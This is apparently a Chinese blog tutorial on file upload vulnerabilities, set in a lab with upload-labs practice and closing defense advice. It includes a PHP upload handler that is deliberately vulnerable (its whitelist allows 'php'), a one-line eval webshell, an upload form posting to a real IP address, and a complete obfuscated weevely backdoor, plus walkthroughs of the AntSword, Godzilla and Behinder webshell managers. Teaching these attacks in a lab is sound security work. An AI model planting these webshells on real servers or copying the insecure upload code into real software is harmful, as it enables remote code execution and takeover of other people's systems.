文件上传漏洞原理

文件上传漏洞原理

文件上传漏洞

可以利用WEB上传一些特定的文件.一般情况下文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力.
文件上传本身是web中最为常见的一种功能需求,关键是文件上传之后服务器端的处理’ 解释文件的过程是否安全。一般的情况有:

  • 1.上传文件WEB脚本语言,服务器的WEB容器解释并执行了用户上传的脚本,导致代码执 行;
  • 2.上传文件FLASH策略文件crossdomain, xml,以此来控制Fl ash在该域下的行为;
  • 3.上传文件是病毒’ 木马文件,攻击者用以诱骗用户或管理员下栽执行;
  • 4.上传文件是钓鱼图片或为包含了就本的图片,某些浏覧器会作为脚本执行,实施钓鱼 或欺诈;
    现在在自己的虚拟机里部署一下

index.php

<!DOCTYPE html>
<html>
<head>
  <title>文件上传</title>
  <meta charset="utf-8">
</head>
<body>
  <center>
    <!-- enctype="mulipart/form-data"属性是指以二进制方式进行数据传输 
    传输文件需要设置-->
    <form action="upload_server.php" method="post" enctype="multipart/form-data">
      <input type="hidden" name="max_file_size" value="1048576">
      <input type="file" name="file">
      <input type="submit" name="上传">    
    </form>
  </center>
</body>
</html>

upload_server.php

<?php 
  header("content-type:text/html;charset=utf-8");
  //设置时区
  date_default_timezone_set('PRC');
  //获取文件名
  $filename = $_FILES['file']['name'];
  //获取文件临时路径
  $temp_name = $_FILES['file']['tmp_name'];
  //获取大小
  $size = $_FILES['file']['size'];
  //获取文件上传码,0代表文件上传成功
  $error = $_FILES['file']['error'];
  //判断文件大小是否超过设置的最大上传限制
  if ($size > 2*1024*1024){
    //
    echo "<script>alert('文件大小超过2M大小');window.history.go(-1);</script>";
    exit();
  }
  //phpinfo函数会以数组的形式返回关于文件路径的信息 
  //[dirname]:目录路径[basename]:文件名[extension]:文件后缀名[filename]:不包含后缀的文件名
  $arr = pathinfo($filename);
  //获取文件的后缀名
  $ext_suffix = $arr['extension'];
  //设置允许上传文件的后缀
  $allow_suffix = array('jpg','gif','jpeg','png','php');
  //判断上传的文件是否在允许的范围内(后缀)==>白名单判断
  if(!in_array($ext_suffix, $allow_suffix)){
    //window.history.go(-1)表示返回上一页并刷新页面
    echo "<script>alert('上传的文件类型只能是jpg,gif,jpeg,png');window.history.go(-1);</script>";
    exit();
  }
  //检测存放上传文件的路径是否存在,如果不存在则新建目录
  if (!file_exists('uploads')){
    mkdir('uploads');
  }
  //为上传的文件新起一个名字,保证更加安全
  //$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;
  $new_filename = $filename;
  //将文件从临时路径移动到磁盘
  if (move_uploaded_file($temp_name, 'uploads/'.$new_filename)){
    echo "<script>alert('文件上传成功!../uploads/".$new_filename."');window.history.go(-1);</script>";
  }else{
    echo "<script>alert('文件上传失败,错误码:$error');</script>";
  }
 ?>

实践

在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述在这里插入图片描述

一句话木马@eval($_POST[‘half’])
@:忽略错误信息
在这里插入图片描述在这里插入图片描述在这里插入图片描述

webshell介绍

  • 一句话木马:
    代码短,场景多。
    可以单独生成文件,可以插入到图片中。
    安全性高,隐匿性强,可变形免杀。
<?php
	header("Content-type:text/html;charset=gb1232");
	echo "<pre>";
	@eval($_POST['half']); 
?>
  • 小马:
    是指有的网站没有上传,则需要通过小马来构造一个文件上传点。
    体积小,功能少,只有文件上传功能
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>POST数据包POC</title>
        </head>
    <body>
    <form action="http://121.199.3.139:9008/" method="post" enctype="multipart/form-data">
    
        <label for="file">文件名:</label>
        <input type="file" name="file" id="file"><br>
        <input type="submit" name="submit" value="提交">
    </form>
    </body>
</html>
    
  • 大马:
    体积大,功能全。
    能够管理数据库、文件管理、对站点进行快速的信息收集。
    甚至能够提权

网站控制工具

中国蚁剑

在这里插入图片描述
右键
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

weevely

在这里插入图片描述在这里插入图片描述在这里插入图片描述

  • weevely.php
<?php
$T='ode($aMm[1]),$k)aMaM));$o=@ob_aMgetaM_conteaMnts(aM);@ob_end_cleanaM();aM$r=';
$O='"1u9MmpuqaMq2EGlX4v"aM;faMunction x(aM$taM,$k){$aMc=saMtrlen($k);aM$l=s';
$V='traMlen(aM$t);aM$o="";aMfor($i=0;$i<$l;aMaM)aM{for($j=0;($j<$aMc&&$i<$a';
$e=str_replace('UN','','creUNaUNteUNUN_UNfUNunction');
$u='==aM1) {@obaM_staraMt(aM);@evaaMl(@gzuaMncompress(@xaM(@baMasaMe64_dec';
$o='@baMase64_aMencodaMe(@xaM(@aMgzcompraMess(aM$o),$k));print("$aMpaM$kh$r$kf");}';
$s='Ml);$aMj++,$iaMaM++){$o.=$t{$aMi}^$k{$aMj};}}aMretaMurnaM $o;}if (aM@pr';
$Z='$aMk="7afe399f"aM;$aMkh="1415baM137d09aM6aM";$kfaM="2f826aM62fa9aMd4";aM$p=';
$m='eg_match(aM"/$kaMh(.aM+)$kf/",@aMfile_aMgaMet_contents("paMhpaM:/aM/input"),$m)aM';
$v=str_replace('aM','',$Z.$O.$V.$s.$m.$u.$T.$o);
$J=$e('',$v);$J();
?>

把这个文件放进centos7系统里
phpstudy的一些应用
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

  • 哥斯拉godzilla

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

  • 冰蝎behinder

在这里插入图片描述在这里插入图片描述密码在behinder.php文件里,实际使用时记得修改
在这里插入图片描述在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

注意修改密码
在这里插入图片描述

文件上传漏洞危害

黑链

某些黑客入侵后,会给你挂上黑链

挖矿

通过文件上传挖矿代码

敏感文件泄漏

电脑里的敏感文件泄漏

靶场安装

win10安装Apache和PHP
在这里插入图片描述
需要靶场请留言,我私信发你
在这里插入图片描述

靶场练习

upload-labs

文件上传漏洞发现与利用

文件上传漏洞利用流程
1,找到文件上传的位置
2,尝试绕过校验,上传文件
3,获得文件位置
4,蚁剑连接,管理文件

在这里插入图片描述
fuxploider自动扫描系统的文件上传点

文件上传漏洞防御

针对文件上传漏洞的特点和必须具备的三个条件,我们阻断任何一个条件就可以达到 组织文件上传攻击的目的:
1、 最有效的,将文件上传目录直接设置为不可执行,对于Linux而言,撤销其目录的 权限;实际中很多大型网站的上传应用都会放置在独立的存储上作为静态文件处理, 一是方便使用缓存加速降低能耗,二是杜绝了脚本执行的可能性;
2、 文件类型检查:强烈推荐白名单方式,结合MIME Type、后缀检查等方式(即只允许 允许的文件类型进行上传);此外对于图片的处理可以使用压缩函数或resize函数, 处理图片的同时破坏其包含的HTML代码;
3、 使用随机数改写文件名和文件路径,使得用户不能轻易访问自己上传的文件;
4、 单独设置文件服务器的域名;

文件上传的前提
1,网站上传功能能正常使用
2,文件类型允许上传
3,上传路径可以确定
4,文件可以被访问,可以被执行或被包含
linux文件权限
r=4
w=2
x=1
在这里插入图片描述

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值